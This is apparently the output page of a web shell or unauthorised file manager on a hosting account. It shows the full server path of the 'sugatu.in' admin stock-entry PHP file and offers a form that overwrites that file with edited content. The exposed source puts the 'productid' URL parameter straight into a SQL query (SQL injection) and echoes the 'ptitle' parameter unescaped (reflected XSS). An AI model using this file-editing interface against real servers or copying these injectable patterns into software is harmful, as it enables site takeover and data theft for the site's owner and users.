<h2>File Contents: /home/u885320773/domains/sugatu.in/public_html/admin/products-warehouse-stock.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/u885320773/domains/sugatu.in/public_html/admin/products-warehouse-stock.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php include 'includes/check-session.php'; ?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
    &lt;head&gt;
        &lt;meta charset=&quot;utf-8&quot; /&gt;
        &lt;title&gt;Add Combo Kit Products - Sugatu&lt;/title&gt;
        &lt;meta http-equiv=&quot;x-ua-compatible&quot; content=&quot;ie=edge&quot; /&gt;
        &lt;meta name=&quot;description&quot; content=&quot;&quot; /&gt;
        &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot; /&gt;
        &lt;meta property=&quot;og:title&quot; content=&quot;&quot; /&gt;
        &lt;meta property=&quot;og:type&quot; content=&quot;&quot; /&gt;
        &lt;meta property=&quot;og:url&quot; content=&quot;&quot; /&gt;
        &lt;meta property=&quot;og:image&quot; content=&quot;&quot; /&gt;
        &lt;!-- Favicon --&gt;
        &lt;link rel=&quot;shortcut icon&quot; type=&quot;image/x-icon&quot; href=&quot;assets/imgs/theme/favicon.png&quot; /&gt;
        &lt;!-- Template CSS --&gt;
        &lt;link href=&quot;assets/css/main.css?v=1.1&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&gt;
    &lt;/head&gt;

    &lt;body&gt;
        &lt;div class=&quot;screen-overlay&quot;&gt;&lt;/div&gt;
        &lt;!--==========  SIDEBAR LOGO AND MENU  =============--&gt;
        &lt;?php include 'includes/sidebar.php'; ?&gt;
        &lt;main class=&quot;main-wrap&quot;&gt;
            &lt;!--==========  HEADER  =============--&gt;
            &lt;?php include 'includes/header.php'; ?&gt;
            &lt;section class=&quot;content-main&quot;&gt;
                &lt;div class=&quot;content-header&quot;&gt;
                    &lt;div&gt;
                        &lt;?php	
                            if(isset($_GET['ptitle'])) {
                                $ptitle=$_GET['ptitle'];
                            } 
                        ?&gt;
                        &lt;?php	
                            if(isset($_GET['productid'])) {
                                $productid=$_GET['productid'];
                            } 
                        ?&gt;
                        &lt;h2 class=&quot;content-title card-title&quot;&gt;Stock Entry for &lt;?php echo $ptitle ?&gt;&lt;/h2&gt;
                        
                    &lt;/div&gt;
                    &lt;!--&lt;div&gt;
                        &lt;input type=&quot;text&quot; placeholder=&quot;Search Categories&quot; class=&quot;form-control bg-white&quot; /&gt;
                    &lt;/div&gt; --&gt;
                &lt;/div&gt;
                &lt;div class=&quot;card&quot;&gt;
                    
                    &lt;div class=&quot;card-body&quot;&gt;
                    &lt;?php	if(isset($_GET['add'])) {
					echo '&lt;div class=&quot;alert alert-success fade show&quot;&gt;
    &lt;strong&gt;Saved Successfully.&lt;/strong&gt;.
  &lt;/div&gt;';
				} ?&gt;
        &lt;?php	if(isset($_GET['edit'])) {
					echo '&lt;div class=&quot;alert alert-success fade show&quot;&gt;
    &lt;strong&gt;Successfully Edited&lt;/strong&gt;.
  &lt;/div&gt;';
				} ?&gt;
				&lt;?php	if(isset($_GET['delete'])) {
					echo '&lt;div class=&quot;alert alert-danger fade show&quot;&gt;
    &lt;strong&gt;Successfully Deleted&lt;/strong&gt;.
  &lt;/div&gt;';
				} ?&gt;
								&lt;?php	if(isset($_GET['error'])) {
					echo '&lt;div class=&quot;alert alert-danger fade show&quot;&gt;
    &lt;strong&gt;Error While Adding Customer&lt;/strong&gt;. Make sure you are entering unique ID and Email.
  &lt;/div&gt;';
				} ?&gt;

                        &lt;div class=&quot;row&quot;&gt;
                            &lt;div class=&quot;col-md-3&quot;&gt;
                                &lt;form method=&quot;post&quot; action=&quot;process/add-warehouse-stock.php&quot;&gt;
                                    &lt;input type=&quot;hidden&quot; name=&quot;productid&quot; value=&quot;&lt;?php echo $productid ?&gt;&quot;&gt;
                                    &lt;input type=&quot;hidden&quot; name=&quot;ptitle&quot; value=&quot;&lt;?php echo $ptitle ?&gt;&quot;&gt;
                                   
                                    &lt;div class=&quot;mb-4&quot;&gt;
                                        &lt;label for=&quot;warehouse&quot; class=&quot;form-label&quot;&gt;Warehouse&lt;/label&gt;
                                        &lt;select id=&quot;warehouse&quot; required name=&quot;warehouseid&quot; class=&quot;form-select&quot;&gt;
                                            &lt;option value=&quot;&quot;&gt;Select Warehouse&lt;/option&gt;
                                            &lt;?php

                                                include 'config.php';
                                                $sql = &quot;SELECT * FROM warehouse&quot;; // Fetch parent categories

                                                $result = $conn-&gt;query($sql);

                                                if ($result-&gt;num_rows &gt; 0) {
                                                    while ($row = $result-&gt;fetch_assoc()) {
                                                        echo &quot;&lt;option value='&quot; . $row['id'] . &quot;'&gt;&quot; . $row['wname'] . &quot;&lt;/option&gt;&quot;;
                                                    }
                                                }
                                            
                                            
                                            ?&gt;
                                        &lt;/select&gt;
                                    &lt;/div&gt;
                                
                        &lt;!-- card end// --&gt;
                                    &lt;div class=&quot;mb-4&quot;&gt;
                                        &lt;label for=&quot;stockqty&quot; class=&quot;form-label&quot;&gt; Enter Stock&lt;/label&gt;
                                        &lt;input type=&quot;number&quot; placeholder=&quot;Type here&quot; name=&quot;stockqty&quot; required class=&quot;form-control&quot; id=&quot;stockqty&quot; /&gt;
                                    &lt;/div&gt;
                                    
                                   
                                   
                                    &lt;div class=&quot;d-grid&quot;&gt;
                                        &lt;button class=&quot;btn btn-primary&quot;&gt;Add Stock&lt;/button&gt;
                                    &lt;/div&gt;
                                &lt;/form&gt;
                            &lt;/div&gt;
                            &lt;div class=&quot;col-md-9&quot;&gt;
                                &lt;div class=&quot;table-responsive&quot;&gt;
                                &lt;?php
include 'config.php';

// SQL query to fetch data from the table
$sql = &quot;SELECT w.wname, s.stockqty FROM stock s JOIN warehouse w ON s.warehouseid = w.id WHERE s.productid = $productid;&quot;;

$result = $conn-&gt;query($sql);

if ($result-&gt;num_rows &gt; 0) {
    // Output data of each row
    echo '&lt;table class=&quot;table table-hover&quot;&gt;
                &lt;thead&gt;
                    &lt;tr&gt;
                        
                        &lt;th&gt;Warehouse&lt;/th&gt;
                        &lt;th&gt;Stock&lt;/th&gt;
                    &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;';
    while($row = $result-&gt;fetch_assoc()) {
        echo '&lt;tr&gt;
                &lt;td&gt;&lt;b&gt;' . $row['wname'] . '&lt;/b&gt;&lt;/td&gt;
                &lt;td&gt;' . $row['stockqty'] . '&lt;/td&gt;
               
            &lt;/tr&gt;';
    }
    echo '&lt;/tbody&gt;&lt;/table&gt;';
} else {
    echo &quot;0 results&quot;;
}

// Close connection
$conn-&gt;close();
?&gt;
                                &lt;/div&gt;
                            &lt;/div&gt;
                            &lt;!-- .col// --&gt;
                        &lt;/div&gt;
                        &lt;!-- .row // --&gt;
                    &lt;/div&gt;
                    &lt;!-- card body .// --&gt;
                &lt;/div&gt;
                &lt;!-- card .// --&gt;
            &lt;/section&gt;
            &lt;!-- content-main end// --&gt;
            &lt;footer class=&quot;main-footer font-xs&quot;&gt;
                &lt;div class=&quot;row pb-30 pt-15&quot;&gt;
                    &lt;div class=&quot;col-sm-6&quot;&gt;
                        &lt;script&gt;
                            document.write(new Date().getFullYear());
                        &lt;/script&gt;
                        &amp;copy; Sugatu.
                    &lt;/div&gt;
                    &lt;div class=&quot;col-sm-6&quot;&gt;
                        &lt;div class=&quot;text-sm-end&quot;&gt;All rights reserved&lt;/div&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/footer&gt;
        &lt;/main&gt;
        &lt;script src=&quot;assets/js/vendors/jquery-3.6.0.min.js&quot;&gt;&lt;/script&gt;
        &lt;script src=&quot;assets/js/vendors/bootstrap.bundle.min.js&quot;&gt;&lt;/script&gt;
        &lt;script src=&quot;assets/js/vendors/select2.min.js&quot;&gt;&lt;/script&gt;
        &lt;script src=&quot;assets/js/vendors/perfect-scrollbar.js&quot;&gt;&lt;/script&gt;
        &lt;script src=&quot;assets/js/vendors/jquery.fullscreen.min.js&quot;&gt;&lt;/script&gt;
        &lt;!-- Main Script --&gt;
        &lt;script src=&quot;assets/js/main.js?v=1.1&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;
    &lt;/body&gt;
&lt;/html&gt;
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fu885320773%2Fdomains%2Fsugatu.in%2Fpublic_html%2Fadmin'>⬅ Back to Directory</a>